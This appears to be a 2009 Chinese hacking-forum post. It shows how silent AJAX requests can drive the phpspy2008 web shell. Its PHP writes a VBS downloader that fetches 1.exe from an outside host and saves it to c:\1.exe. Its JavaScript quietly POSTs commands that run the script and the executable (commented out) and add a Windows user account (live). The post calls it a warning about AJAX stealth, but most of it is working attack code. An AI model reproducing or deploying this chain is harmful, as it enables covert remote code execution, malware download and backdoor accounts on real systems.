|
发表于 2009-8-19 13:33:07
|显示全部楼层
还是记录一下吧,ajax真的是隐秘性很高。我是这样来利用的。比较彻底。
PHP代码 复制内容到剪贴板
代码:
elseif ($doing == 'writevbs') {
$fp = @fopen('c:/angel.vbs','w');
$vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n".
"love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n".
"love.Send()\n".
"Set you = CreateObject(\"ADODB.Stream\")\n".
"you.Mode = 3\n".
"you.Type = 1\n".
"you.Open()\n".
"you.Write(love.responseBody)\n".
"you.SaveToFile \"c:\\1.exe\",2";
@fwrite($fp,$vbs);
@fclose($fp);
} 加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe,然后有一段是AJAX的功能代码。
JavaScript代码 复制内容到剪贴板
代码:
<script type="text/javascript">
var http_request = false;
function makeRequest(url, httpType, sendData) {
http_request = false;
if (!httpType) httpType = "GET";
if (window.XMLHttpRequest) { // Non-IE...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/plain');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot send an XMLHTTP request');
return false;
}
http_request.open(httpType, url, true);
http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
http_request.send(sendData);
}
//makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs');
//makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs');
//makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe');
makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=net user angel angel /add');
makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt');
</script> 最后几句是以POST方式请求本地测试环境中的phpspy2008,调用命令执行功能,生成vbs,然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。
我只是想说。AJAX作为一个现在逐渐受到重视的技术,在强调增加用户体验的同时,带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。 |
|